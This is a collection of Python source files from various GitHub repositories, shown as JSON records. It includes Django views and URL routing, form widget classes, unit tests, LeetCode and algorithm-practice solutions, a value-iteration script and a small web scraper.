get_serializer_context(self):\n        return {\n            'request': self.request,\n            'kwargs': self.kwargs\n        }\n\n    def patch(self, request, **kwargs):\n        serializer = self.get_serializer()\n        serializer.exit_team()\n        return Response(\"Successfully removed from the team\",status=status.HTTP_200_OK)\n\nclass SubmissionRUDView(generics.RetrieveUpdateDestroyAPIView):\n    \"\"\"\n    API used to read, update and delete the particular submissions of particular hackathon.\n    \"\"\"\n    serializer_class = SubmissionRUDSerializer\n    lookup_field = 'id'\n\n    def get_permissions(self):\n        if self.request.method == \"GET\":\n            return [permissions.AllowAny()]\n        else:\n            return [permissions.IsAuthenticated()]\n\n    def get_queryset(self, **kwargs):\n        if getattr(self, 'swagger_fake_view', False):\n            return None\n\n        queryset = Submission.objects.filter(id=self.kwargs['id']).select_related('team', 'hackathon')\n        user = self.request.user\n        if queryset:\n            hackathon = Hackathon.objects.get(id=queryset[0].hackathon_id)\n            if hackathon.status == 'Completed':\n                if self.request.method == 'GET':\n                    return queryset\n                elif self.request.method == 'DELETE' or self.request.method == 'PUT' or self.request.method == 'PATCH':\n                    try:\n                        team = Team.objects.get(members=user, hackathon=hackathon)\n                        return queryset\n                    except Team.DoesNotExist:\n                        raise exceptions.PermissionDenied(detail=\"Not the member of registered Team\")\n            elif hackathon.status == 'Ongoing':\n                if not user:\n                    raise exceptions.PermissionDenied(detail=\"Must be Logged in to view ongoing submissions\")\n                try:\n                    team = Team.objects.get(members=user, hackathon=hackathon)\n                    return queryset\n                except Team.DoesNotExist:\n                    raise exceptions.PermissionDenied(detail=\"Not the member of registered Team\")\n            else:\n                raise exceptions.PermissionDenied(detail=\"Hackathon is not started yet\")\n        else:\n            raise exceptions.NotFound(\"Submission does not exist!\")\n","repo_name":"COPS-IITBHU/hackalog-backend","sub_path":"core/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":12972,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"60"}
+{"seq_id":"3297145305","text":"__version__ = \"1.7.0\"\n\nfrom click import Group\n\nfrom hypergrowth.framework import load_modules\n\n\nclass Configuration:\n\n    def __init__(self,\n                 controllers: str,\n                 interfaces: str,\n                 main_command_group: Group):\n        \"\"\"\n        :param controllers: path to controllers `example.controller`\n        :param interfaces: path to interfaces `example.interfaces`\n        :param main_command_group: cli\n        \"\"\"\n\n        def handle_groups(attribute, attribute_name):\n            if isinstance(attribute, Group):\n                main_command_group.add_command(attribute)\n\n        load_modules(controllers, lambda *args, **kwargs: None)\n        load_modules(interfaces, handle_groups)\n","repo_name":"alex4u2nv/hypergrowth","sub_path":"framework/hypergrowth/hypergrowth/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"2522347297","text":"# Problem Id:  1822\n# Problem Name:  Sign of the Product of an Array, 数组元素积的符号\n# Problem Url:  https://leetcode-cn.com/problems/sign-of-the-product-of-an-array/\n# Problem Level:  Easy\n# Language:  Python3\n \nclass Solution:\n    def arraySign(self, nums: List[int]) -> int:\n        posi = 0\n        for i in nums:\n            if i == 0:\n                return 0\n            elif i < 0:\n                posi += 1\n        if posi%2 == 0:\n            return 1\n        else:\n            return -1","repo_name":"siru-xiong/leetcode-solutions","sub_path":"solutions/1822-数组元素积的符号.py","file_name":"1822-数组元素积的符号.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"18441143310","text":"import requests\nfrom bs4 import BeautifulSoup\nurl = 'https://www.mkc.edu.tw/Home?Sn=EV6S9OxI5fUiItcBOR6%2fsn0j5rmStDGs&%E8%A1%8C%E6%94%BF%E5%96%AE%E4%BD%8D'\nres = requests.get(url)\nhtml = BeautifulSoup(res.text)\ndata = html.find('a',{'class':'logo'})\ndata = data.find('img')\nprint(data)\nprint(url + data.get('src'))\nres = requests.get(url + data.get('src'))\nfile = open(r'馬偕護專校徽.txt','w',encoding='utf-8')\nfile.write(res.text)\nfile.close()","repo_name":"Changtzuwei/python","sub_path":"校網爬蟲/行政單位作業.py","file_name":"行政單位作業.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"6711150735","text":"from components.components import *\nfrom components.componentsystem import Viewport\nfrom game.misc.lang import Lang\nfrom game.misc.sounds import Sounds\nfrom util.myenvironment import Environment\nfrom util.utils import Util\n\n\nclass SettingsMenu(Viewport):\n    def __init__(self, size: tuple[int, int], environment: Environment):\n        super().__init__(size, environment)\n        self.setup()\n    \n    @Util.MonkeyUtils.autoErrorHandling\n    def setup(self):\n        self.lang = Lang()\n\n        self.setCursor(Util.loadSpritesheet(\"data/assets/pointer.bmp\", (18, 18), 1, transparentColor=(69, 78, 91))[0])\n        self.setCustomCursorEnabled(True)\n\n        # back button in the bottom left\n        self.back_button = Button((5, self.size[1] - 45), (200, 40), self.lang.get(Lang.MENU_ACTION_BACK))\n        self.back_button.on_click = lambda: (Sounds.playSound(Sounds.MENU_CLICK), Util.backViewport( self.environment))\n        \n        \n        self.registerComponents([self.back_button])\n    \n    @Util.MonkeyUtils.autoErrorHandling\n    def draw(self, environment: dict):\n        super().draw(environment)\n\nVIEWPORT_CLASS = SettingsMenu","repo_name":"DylanBruner/SurvivalGame","sub_path":"viewports/settingsmenu.py","file_name":"settingsmenu.py","file_ext":"py","file_size_in_byte":1135,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"4319520153","text":"from typing import List\n\n\ndef solveQueens(n: int) -> List[List[int]]:\n    col = set()\n    pdiag = set()\n    ndiag = set()\n\n    res = []\n    board = [['.'] * n for i in range(n)]\n\n    def backtrack(r):\n        if r == n:\n            copy = [\"\".join(row) for row in board]\n            res.append(copy)\n            return\n\n        for c in range(n):\n            if c in col or (r + c) in pdiag or (r - c) in ndiag:\n                continue\n            else:\n                col.add(c)\n                pdiag.add(r + c)\n                ndiag.add(r - c)\n                board[r][c] = \"Q\"\n\n                backtrack(r + 1)\n\n                col.remove(c)\n                pdiag.remove(r + c)\n                ndiag.remove(r - c)\n                board[r][c] = \".\"\n\n    backtrack(0)\n    return res\n","repo_name":"joshir/leet-py","sub_path":"backtracking/NQueens.py","file_name":"NQueens.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"18225432113","text":"from django.urls import include\nfrom django.urls import path\nfrom django.urls import register_converter\nfrom rest_framework import routers\n\nfrom common.paths import get_ui_paths\nfrom footnotes import views\nfrom footnotes.path_converters import FootnoteIdConverter\nfrom footnotes.path_converters import FootnoteTypeIdConverter\n\nregister_converter(FootnoteIdConverter, \"footnote_id\")\nregister_converter(FootnoteTypeIdConverter, \"footnote_type_id\")\n\napi_router = routers.DefaultRouter()\napi_router.register(\n    r\"footnotes\",\n    views.FootnoteViewSet,\n    basename=\"footnote\",\n)\napi_router.register(\n    r\"footnote_types\",\n    views.FootnoteTypeViewSet,\n)\n\ndetail = \"<footnote_type_id:footnote_type__footnote_type_id><footnote_id:footnote_id>\"\ndescription_detail = \"<footnote_type_id:described_footnote__footnote_type__footnote_type_id><footnote_id:described_footnote__footnote_id>/description/<sid:sid>\"\nui_patterns = get_ui_paths(views, detail, description=description_detail)\n\nui_patterns += [\n    path(\n        f\"{detail}/descriptions/\",\n        views.FootnoteDetailDescriptions.as_view(),\n        name=\"footnote-ui-detail-descriptions\",\n    ),\n    path(\n        f\"{detail}/measures/\",\n        views.FootnoteDetailMeasures.as_view(),\n        name=\"footnote-ui-detail-measures\",\n    ),\n    path(\n        f\"{detail}/version-control/\",\n        views.FootnoteDetailVersionControl.as_view(),\n        name=\"footnote-ui-detail-version-control\",\n    ),\n]\n\nurlpatterns = [\n    path(\"footnotes/\", include(ui_patterns)),\n    path(\"api/\", include(api_router.urls)),\n]\n","repo_name":"uktrade/tamato","sub_path":"footnotes/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1558,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"60"}
+{"seq_id":"36780398379","text":"__docformat__ = \"reStructuredText\"\nimport zope.interface\nfrom zope.schema.fieldproperty import FieldProperty\n\nfrom z3c.form.browser import interfaces\nfrom z3c.form.interfaces import INPUT_MODE\nfrom z3c.form.interfaces import IFieldWidget\n\n\nclass WidgetLayoutSupport:\n    \"\"\"Widget layout support\"\"\"\n\n    def wrapCSSClass(self, klass, pattern='%(class)s'):\n        \"\"\"Return a list of css class names wrapped with given pattern\"\"\"\n        if klass is not None and pattern is not None:\n            return [pattern % {'class': k} for k in klass.split()]\n        else:\n            return []\n\n    def getCSSClass(self, klass=None, error=None, required=None,\n                    classPattern='%(class)s', errorPattern='%(class)s-error',\n                    requiredPattern='%(class)s-required'):\n        \"\"\"Setup given css class (klass) with error and required postfix\n\n        If no klass name is given the widget.wrapper class name/names get used.\n        It is also possible if more then one (empty space separated) names\n        are given as klass argument.\n\n        This method can get used from your form or widget template or widget\n        layout template without to re-implement the widget itself just because\n        you a different CSS class concept.\n\n        The following sample:\n\n        <div tal:attributes=\"class python:widget.getCSSClass('foo bar')\">\n          label widget and error\n        </div>\n\n        will render a div tag if the widget field defines required=True:\n\n        <div class=\"foo-error bar-error foo-required bar-required foo bar\">\n          label widget and error\n        </div>\n\n        And the following sample:\n\n        <div tal:attributes=\"class python:widget.getCSSClass('row')\">\n          label widget and error\n        </div>\n\n        will render a div tag if the widget field defines required=True\n        and an error occurs:\n\n        <div class=\"row-error row-required row\">\n          label widget and error\n        </div>\n\n        Note; you need to define a globale widget property if you use\n        python:widget (in your form template). And you need to use the\n        view scope in your widget or layout templates.\n\n        Note, you can set the pattern to None for skip error or required\n        rendering. Or you can use a pattern like 'error' or 'required' if\n        you like to skip postfixing your default css klass name for error or\n        required rendering.\n\n        \"\"\"\n        classes = []\n        # setup class names\n        if klass is not None:\n            kls = klass\n        else:\n            kls = self.css\n\n        # setup error class names\n        if error is not None:\n            error = error\n        else:\n            error = kls\n\n        # setup required class names\n        if required is not None:\n            required = required\n        else:\n            required = kls\n\n        # append error class names\n        if self.error is not None:\n            classes += self.wrapCSSClass(error, errorPattern)\n        # append required class names\n        if self.required:\n            classes += self.wrapCSSClass(required, requiredPattern)\n        # append given class names\n        classes += self.wrapCSSClass(kls, classPattern)\n        # remove duplicated class names but keep order\n        unique = []\n        [unique.append(kls) for kls in classes if kls not in unique]\n        return ' '.join(unique)\n\n\n@zope.interface.implementer(interfaces.IHTMLFormElement)\nclass HTMLFormElement(WidgetLayoutSupport):\n\n    id = FieldProperty(interfaces.IHTMLFormElement['id'])\n    klass = FieldProperty(interfaces.IHTMLFormElement['klass'])\n    style = FieldProperty(interfaces.IHTMLFormElement['style'])\n    title = FieldProperty(interfaces.IHTMLFormElement['title'])\n\n    lang = FieldProperty(interfaces.IHTMLFormElement['lang'])\n\n    onclick = FieldProperty(interfaces.IHTMLFormElement['onclick'])\n    ondblclick = FieldProperty(interfaces.IHTMLFormElement['ondblclick'])\n    onmousedown = FieldProperty(interfaces.IHTMLFormElement['onmousedown'])\n    onmouseup = FieldProperty(interfaces.IHTMLFormElement['onmouseup'])\n    onmouseover = FieldProperty(interfaces.IHTMLFormElement['onmouseover'])\n    onmousemove = FieldProperty(interfaces.IHTMLFormElement['onmousemove'])\n    onmouseout = FieldProperty(interfaces.IHTMLFormElement['onmouseout'])\n    onkeypress = FieldProperty(interfaces.IHTMLFormElement['onkeypress'])\n    onkeydown = FieldProperty(interfaces.IHTMLFormElement['onkeydown'])\n    onkeyup = FieldProperty(interfaces.IHTMLFormElement['onkeyup'])\n\n    disabled = FieldProperty(interfaces.IHTMLFormElement['disabled'])\n    tabindex = FieldProperty(interfaces.IHTMLFormElement['tabindex'])\n    onfocus = FieldProperty(interfaces.IHTMLFormElement['onfocus'])\n    onblur = FieldProperty(interfaces.IHTMLFormElement['onblur'])\n    onchange = FieldProperty(interfaces.IHTMLFormElement['onchange'])\n\n    # layout support\n    css = FieldProperty(interfaces.IHTMLFormElement['css'])\n\n    def addClass(self, klass: str):\n        \"\"\"Add a class to the HTML element.\n\n        See interfaces.IHTMLFormElement.\n        \"\"\"\n        if not self.klass:\n            self.klass = str(klass)\n        else:\n            # make sure items are not repeated\n            parts = self.klass.split() + klass.split()\n            # Remove duplicates and keep order.\n            # Dictionaries are ordered in Python 3.7+\n            parts = list(dict.fromkeys(parts))\n            self.klass = \" \".join(parts)\n\n    def update(self):\n        \"\"\"See z3c.form.interfaces.IWidget\"\"\"\n        super().update()\n        if self.mode == INPUT_MODE and self.required:\n            self.addClass('required')\n\n    @property\n    def _html_attributes(self) -> list:\n        \"\"\"Return a list of HTML attributes managed by this class.\"\"\"\n        # This is basically a list of all the FieldProperty names except for\n        # the `css` property, which is not an HTML attribute.\n        return [\n            \"id\",\n            \"klass\",  # will be changed to `class`\n            \"style\",\n            \"title\",\n            \"lang\",\n            \"onclick\",\n            \"ondblclick\",\n            \"onmousedown\",\n            \"onmouseup\",\n            \"onmouseover\",\n            \"onmousemove\",\n            \"onmouseout\",\n            \"onkeypress\",\n            \"onkeydown\",\n            \"onkeyup\",\n            \"disabled\",\n            \"tabindex\",\n            \"onfocus\",\n            \"onblur\",\n            \"onchange\",\n        ]\n\n    _attributes = None\n\n    @property\n    def attributes(self) -> dict:\n        # If `attributes` were explicitly set, return them.\n        if isinstance(self._attributes, dict):\n            return self._attributes\n\n        # Otherwise return the default set of non-empty HTML attributes.\n        attributes_items = [\n            (\"class\" if attr == \"klass\" else attr, getattr(self, attr, None))\n            for attr in self._html_attributes\n        ]\n        self._attributes = {key: val for key, val in attributes_items if val}\n        return self._attributes\n\n    @attributes.setter\n    def attributes(self, value: dict):\n        # Store the explicitly set attributes.\n        self._attributes = value\n\n\n@zope.interface.implementer(interfaces.IHTMLInputWidget)\nclass HTMLInputWidget(HTMLFormElement):\n\n    readonly = FieldProperty(interfaces.IHTMLInputWidget['readonly'])\n    alt = FieldProperty(interfaces.IHTMLInputWidget['alt'])\n    accesskey = FieldProperty(interfaces.IHTMLInputWidget['accesskey'])\n    onselect = FieldProperty(interfaces.IHTMLInputWidget['onselect'])\n\n    @property\n    def _html_attributes(self) -> list:\n        attributes = super()._html_attributes\n        attributes.extend(\n            [\n                \"readonly\",\n                \"alt\",\n                \"accesskey\",\n                \"onselect\",\n            ]\n        )\n        return attributes\n\n\n@zope.interface.implementer(interfaces.IHTMLTextInputWidget)\nclass HTMLTextInputWidget(HTMLInputWidget):\n\n    size = FieldProperty(interfaces.IHTMLTextInputWidget['size'])\n    maxlength = FieldProperty(interfaces.IHTMLTextInputWidget['maxlength'])\n    placeholder = FieldProperty(interfaces.IHTMLTextInputWidget['placeholder'])\n    autocapitalize = FieldProperty(\n        interfaces.IHTMLTextInputWidget['autocapitalize'])\n\n    @property\n    def _html_attributes(self) -> list:\n        attributes = super()._html_attributes\n        attributes.extend(\n            [\n                \"size\",\n                \"maxlength\",\n                \"placeholder\",\n                \"autocapitalize\",\n            ]\n        )\n        return attributes\n\n\n@zope.interface.implementer(interfaces.IHTMLTextAreaWidget)\nclass HTMLTextAreaWidget(HTMLFormElement):\n\n    rows = FieldProperty(interfaces.IHTMLTextAreaWidget['rows'])\n    cols = FieldProperty(interfaces.IHTMLTextAreaWidget['cols'])\n    readonly = FieldProperty(interfaces.IHTMLTextAreaWidget['readonly'])\n    accesskey = FieldProperty(interfaces.IHTMLTextAreaWidget['accesskey'])\n    onselect = FieldProperty(interfaces.IHTMLTextAreaWidget['onselect'])\n\n    @property\n    def _html_attributes(self) -> list:\n        attributes = super()._html_attributes\n        attributes.extend(\n            [\n                \"rows\",\n                \"cols\",\n                \"readonly\",\n                \"accesskey\",\n                \"onselect\",\n            ]\n        )\n        return attributes\n\n\n@zope.interface.implementer(interfaces.IHTMLSelectWidget)\nclass HTMLSelectWidget(HTMLFormElement):\n\n    multiple = FieldProperty(interfaces.IHTMLSelectWidget['multiple'])\n    size = FieldProperty(interfaces.IHTMLSelectWidget['size'])\n\n    @property\n    def _html_attributes(self) -> list:\n        attributes = super()._html_attributes\n        attributes.extend(\n            [\n                \"multiple\",\n                \"size\",\n            ]\n        )\n        return attributes\n\n\ndef addFieldClass(widget):\n    \"\"\"Add a class to the widget that is based on the field type name.\n\n    If the widget does not have field, then nothing is done.\n    \"\"\"\n    if IFieldWidget.providedBy(widget):\n        klass = str(widget.field.__class__.__name__.lower() + '-field')\n        widget.addClass(klass)\n","repo_name":"zopefoundation/z3c.form","sub_path":"src/z3c/form/browser/widget.py","file_name":"widget.py","file_ext":"py","file_size_in_byte":10122,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"60"}
+{"seq_id":"21397224494","text":"\"\"\"\nFile to test web_endpoint lambda.\nV0.02, October 17, 2022, GAW\n\"\"\"\n\nfrom datetime import date, timedelta\nimport json\nfrom unittest.mock import Mock, patch\nimport pytest\n\nfrom . import addSrcToPath\n\nimport security\nimport web_endpoint\nimport webPriceInfo\n\n@pytest.mark.unit\nclass Test_web_endpoint:\n    \"\"\"def createSecurity(self, name, symbol, buyPrice, sellPrice, currentPrice,\n                       lastClosePrice, high52Week):\n        mySec = security.Security()\n        priceInfo = security.PriceInfo()\n        priceInfo.currentPrice = currentPrice\n        priceInfo.lastClosePrice = lastClosePrice\n        priceInfo.high52Week = high52Week\n        mySec.pop_with_priceInfo(name, symbol, buyPrice, sellPrice, priceInfo)\n        return mySec\n    \"\"\"\n\n    def test_get_website_data(self):\n        \"\"\"\n        Testing that get something back, when run locally.\n        \"\"\"\n\n        with patch('historicalPricesInterface.HistoricalPricesInterface.remove_old_prices',\n                   return_value=Mock()) as mock_remove:\n            mock_remove.return_value = 5\n\n        with patch('securities.Securities.get_web_data', return_value=Mock()) as mock_data:\n            mock_data.return_value = self.gen_two_webPriceInfos()\n\n            result = web_endpoint.get_website_data({\"queryStringParameters\":\n                                                        {\"timeframe\": \"30days\"}},\n                                                   \"morestuff\")\n\n            # print(\"test result:\" + json.dumps(result))\n            assert len(result) > 0\n            body = result[\"body\"]\n\n            reconstituted = json.loads(body)\n            # print(f\"test_get_website_data, {reconstituted=}\")\n            assert len(reconstituted) == 2\n\n    def gen_two_webPriceInfos(self):\n        applesec = security.Security()\n        applesec.pop(\"Apple\", \"AAPL\", 123.45, 543.21, 200.33)\n        applesec.id = 3\n        applesec.fullHistoryDownloaded = False\n\n        msftsec = security.Security()\n        msftsec.pop(\"Microsoft\", \"MSFT\", 223.45, 343.21, 80.33)\n        msftsec.id = 3\n        msftsec.fullHistoryDownloaded = False\n\n        infos = []\n        appleInfo = webPriceInfo.WebPriceInfo()\n        appleInfo.populate(applesec, self.gen_prices(applesec))\n        infos.append(appleInfo)\n\n        msftInfo = webPriceInfo.WebPriceInfo()\n        msftInfo.populate(msftsec, self.gen_prices(msftsec))\n        infos.append(msftInfo)\n\n        return infos\n\n    def gen_prices(self, mySec):\n        highPrice = mySec.currentPrice\n        decPrice = 1.32\n        numRows = 30\n        curDate = date(2021, 12, 19)\n\n        prices = []\n        for i in range(0, numRows):\n            curDate += timedelta(1)\n            curPrice = highPrice - i * decPrice\n            prices.append({\"priceDate\": curDate, \"price\": curPrice})\n        print(f\"prices: {prices}\")\n\n        return prices\n","repo_name":"gregw18/stockPriceRetriever","sub_path":"tests/test_web_endpoint.py","file_name":"test_web_endpoint.py","file_ext":"py","file_size_in_byte":2863,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"74894026112","text":"#!/usr/bin/python3\nimport colorama\nimport emoji\nimport environment\nimport csv\nimport numpy as np\n\n\ndef printV(V, env):\n    n = 0\n    for i in range(env.maxY):\n        for j in range(env.maxX):\n            if env.is_wall(n):\n                color = colorama.Fore.RED\n            elif env.is_gas_station(n):\n                color = colorama.Fore.GREEN\n            elif env.is_terminal(n):\n                color = colorama.Fore.CYAN\n            elif env.is_start(n):\n                color = colorama.Fore.BLUE\n            else:\n                color = colorama.Fore.RESET\n\n            if V[n] == -0:\n                value = 0\n            else:\n                value = V[n]\n\n            print(color + \"%+.3f\" % value, end=\"\")\n            print(colorama.Fore.RESET + \" | \", end=\"\")\n            n += 1\n        print(colorama.Fore.RESET)\n\n\ndef printPolicy(policy, env, iter=0):\n    n = 0\n    for i in range(env.maxY):\n        for j in range(env.maxX):\n            arg = np.argmax(policy[n])\n            if env.is_wall(n):\n                out = emoji.emojize(':white_large_square:', use_aliases=True)\n            elif env.is_terminal(n):\n                out = emoji.emojize(':white_check_mark:', use_aliases=True)\n            elif arg == env.UP and iter != 0:\n                out = emoji.emojize(':arrow_up_small:', use_aliases=True)\n            elif arg == env.RIGHT and iter != 0:\n                out = emoji.emojize(':fast_forward:', use_aliases=True)\n            elif arg == env.DOWN and iter != 0:\n                out = emoji.emojize(':arrow_down_small:', use_aliases=True)\n            elif arg == env.LEFT and iter != 0:\n                out = emoji.emojize(':rewind:', use_aliases=True)\n            else:\n                out = emoji.emojize(':new:', use_aliases=True)\n\n            print(out, end=\" \")\n            n += 1\n        print()\n\n\ndef write_to_csv(list, name=\"statistics.csv\"):\n    with open(name, 'w', newline=\"\") as file:\n        writer = csv.writer(file)\n        writer.writerows(map(lambda x: [x], list))\n\n\ndef value_iteration(env, epsilon=0.000001, discount_factor=1.0):\n    def calculate_v_values(V, action, state):\n        [(probability, next_state, cost, done)] = env.P[state][action]\n        return probability * (cost + discount_factor * V[next_state])\n\n    # Initialize states.\n    V_new = np.zeros(env.num_states)\n    #V_new[38] = -24  # Terminal state.\n    policy = np.zeros([env.num_states, env.NUM_ACTIONS])\n    iteration = 0\n    delta = [0]*200\n\n\n    while True:\n        V_old = V_new\n        print(\"\\nIteration:\", iteration)\n        print(\"\\nGrid policy:\")\n        printPolicy(policy, env, iteration)\n        print(\"\\nGrid Value Function:\")\n        printV(V_old, env)\n        print(\"\\nDelta (Biggest Value function difference):\", delta[iteration])\n        print(\"\\n====================================================================================\")\n\n        iteration += 1\n        delta[iteration] = 0\n\n        V_new = np.zeros(env.num_states)\n\n        # Iterate through all states.\n        for state in range(env.num_states):\n            action_values = np.zeros(env.NUM_ACTIONS)\n\n            # Iterate through all actions of state.\n            for action in range(env.NUM_ACTIONS):\n                # Apply Bellman equation to calculate v.\n                action_values[action] = calculate_v_values(V_old, action, state)\n\n            # Pick the best action in this state (minimal costs).\n            best_action_value = min(action_values)\n\n            # Get biggest difference between best action value and our old value function.\n            delta[iteration] = max(delta[iteration], abs(best_action_value - V_old[state]))\n\n            # Apply Bellman optimality principle.\n            V_new[state] = best_action_value\n\n            # Update the policy.\n            best_action = np.argmin(action_values)\n            policy[state] = np.eye(env.NUM_ACTIONS)[best_action]\n\n        # Check for convergence.\n        if delta[iteration] < epsilon:\n            break\n\n    print(\"\\nFinished! (\" + str(iteration) + \" Iterations)\")\n    print(\"\\nGrid policy:\")\n    printPolicy(policy, env, iteration)\n    print(\"\\nGrid Value Function:\")\n    printV(V_old, env)\n    print(\"\\nDelta (Biggest Value function difference):\", delta[iteration])\n\n    return policy, V_old, delta\n\n\nif __name__ == \"__main__\":\n    env = environment.Environment(\"./map\")\n    policy, v, deltas = value_iteration(env)\n    #write_to_csv(deltas, 'deltas-19.csv')\n","repo_name":"HendrikPfaff/Value-Iteration","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4444,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"21831576181","text":"\"\"\"\nIn a stock market, there is a product with its infinite stocks. The stock prices are given for N days, where arr[i] denotes the price of the stock on the ith day. There is a rule that a customer can buy at most i stock on the ith day. If the customer has an amount of k amount of money initially, find out the maximum number of stocks a customer can buy.\nFor example, for 3 days the price of a stock is given as 7, 10, 4. You can buy 1 stock worth 7 rs on day 1, 2 stocks worth 10 rs each on day 2 and 3 stock worth 4 rs each on day 3.\n\nExamples:\n\nInput : price[] = { 10, 7, 19 }, \n              k = 45.\nOutput : 4\nA customer purchases 1 stock on day 1, \n2 stocks on day 2 and 1 stock on day 3 for \n10, 7 * 2 = 14 and 19 respectively. Hence, \ntotal amount is 10 + 14 + 19 = 43 and number \nof stocks purchased is 4.\n\nInput  : price[] = { 7, 10, 4 }, \n               k = 100.\nOutput : 6\n\n\n\"\"\"\n\n\n\ndef buyMaximumProducts(stocks,K,n):\n\n    items = [[stocks[i],i+1] for i in range(n)]\n\n    items.sort()\n\n    ans = 0\n    for i in range(n):\n        ans += min(items[i][2],K/items[1])\n        K -= items[i][0] * min(items[i][2],K/items[1])\n    return ans\n","repo_name":"deepak01-Hacker/DAily-Practice","sub_path":"Buy Maximum Stocks if i stocks can be bought on i-th day.py","file_name":"Buy Maximum Stocks if i stocks can be bought on i-th day.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"40209497557","text":"import sys\nfrom collections import deque\ninput = sys.stdin.readline\n\nn, m = map(int, input().split())\nr, c, d = map(int, input().split())\ngraph = []\nfor _ in range(n):\n  graph.append(list(map(int, input().split())))\nvisited = [[False] * m for _ in range(n)]\nvisited[r][c] = True\n# 북, 동, 남, 서\ndx = [-1, 0, 1, 0]\ndy = [0, 1, 0, -1]\nturnCnt = 0 # 회전 수\ncnt = 1 # 시작한 자리 청��\nwhile True:\n  d -= 1\n  if d == -1:\n    d = 3 # 북 -> 서 -> 남 -> 동\n  nx = r + dx[d]\n  ny = c + dy[d]\n  # 왼쪽 방향에 아직 청소하지 않은 공간이 존재한다면, 그 방향으로 회전한 다음 한 칸을 전진하고 청소\n  if not visited[nx][ny] and graph[nx][ny] == 0:\n    visited[nx][ny] = True\n    r, c = nx, ny\n    cnt += 1\n    turnCnt = 0 # 이동한 위치에서 다시 탐색하므로 방향 전환 횟수 초기화\n    continue\n\n  else: # 왼쪽 방향에 청소할 공간이 없으므로 한번 더 왼쪽으로 회전\n    turnCnt += 1\n\n  if turnCnt == 4: # 네 방향 모두 청소가 이미 되어있거나 벽인 경우\n    nx = r - dx[d]\n    ny = c - dy[d]\n    if graph[nx][ny] == 0:\n      r, c = nx, ny # 바라보는 방향을 유지한 채로 후진\n      turnCnt = 0 # 이동한 위치에서 다시 탐색하므로 방향 전환 횟수 초기화\n\n    else: # 뒤쪽 방향이 벽이라 후진도 할 수 없는 경우 작동을 멈춤\n      break\n\nprint(cnt)\n\n\n\n\n\n\n\n\n","repo_name":"seonwook97/Coding_test","sub_path":"Coding_Study/구현/14503.py","file_name":"14503.py","file_ext":"py","file_size_in_byte":1406,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"2753547350","text":"from nzmath.combinatorial import stirling2\nfrom scipy.misc import comb, factorial\n\ndef composition(r, n, k):\n    \"\"\"\n    number of integer solutions\n    $x_1 + x_2 + ... + x_n = r$\n    $0 < x_i \\leq k$\n    \"\"\"\n    comp = 0\n    for m in range(n + 1):\n        if r - 1 - m * k < n - 1:\n            break\n        if m % 2 == 0:\n            comp += (comb(n, m, exact=True) * comb(r - 1 - m * k, n - 1, exact=True))\n        else:\n            comp -= (comb(n, m, exact=True) * comb(r - 1 - m * k, n - 1, exact=True))\n    return comp\n\ndef read_split_contig(N, r, k):\n    \"\"\"\n    number of ways to get \n    $Y_n - Y_1 = r$\n    where there are $n$ distinct starting positions\n    satisfying $0 < Y_{i + 1} - Y_i \\leq k$\n    \"\"\"\n    if r == 0:\n        if N > 0:\n            return 1\n        else:\n            return 0\n    splits = 0\n    for n in range(2, min(r + 2, N + 1)):\n        splits += (factorial(n, exact=True) * stirling2(N, n) * composition(r, n - 1, k))\n    return splits\n\n","repo_name":"tianyang-li/meta-transcriptome","sub_path":"trans-len/help_1.py","file_name":"help_1.py","file_ext":"py","file_size_in_byte":974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"71236886910","text":"import sys\nsys.stdin = open(\"뿌요뿌요.txt\")\n\ndef Gravity(c):\n    stack = []\n    for i in range(R - 1, -1, -1):\n        if arr[i][c] != '.':\n            stack.append(arr[i][c])\n            arr[i][c] = '.'\n\n    j = R-1\n    while stack:\n        arr[j][c] = stack.pop(0)\n        j -= 1\n\ndef BFS(r, c):      #그룹안에 같은색이 4개 인것 찾기\n    global sol, chk\n    if chk[r][c]:\n        return\n    color = arr[r][c]\n    queue = [(r, c)]\n    stack = [(r, c)]\n\n    chk[r][c] = 1\n    cnt = 0\n    while queue:\n        r, c = queue.pop(0)\n        for k in range(4):\n            nr, nc = r + dr[k], c + dc[k]\n            if nr < 0 or nr >= R or nc < 0 or nc >= C:\n                continue\n            if chk[nr][nc]:\n                continue\n            if arr[nr][nc] == color:\n                cnt += 1\n                chk[nr][nc] = 1\n                stack.append((nr, nc))\n                queue.append((nr, nc))\n\n\n    # 그룹안에 같은색이 4개이면 터트리기\n\n    if cnt >= 3:\n        data.append((stack),)\n\n\ndef PuyoPuyo(stack):\n    global sol\n    if stack:\n        chkc = [0] * C\n        while stack:\n            temp = stack.pop(-1)\n            while temp:\n                r, c = temp.pop(-1)\n                arr[r][c] = '.'\n                if not chkc[c]:\n                    chkc[c] = 1\n\n\n        # 터트린 자리 복구하기\n        for i in range(C):\n            if chkc[i]:\n                Gravity(i)\n\n        return 0\n    else:\n        return 1\n\n\nT = int(input())\ndr = [1, -1, 0, 0]\ndc = [0, 0, 1, -1]\nR, C = 12, 6\nfor tc in 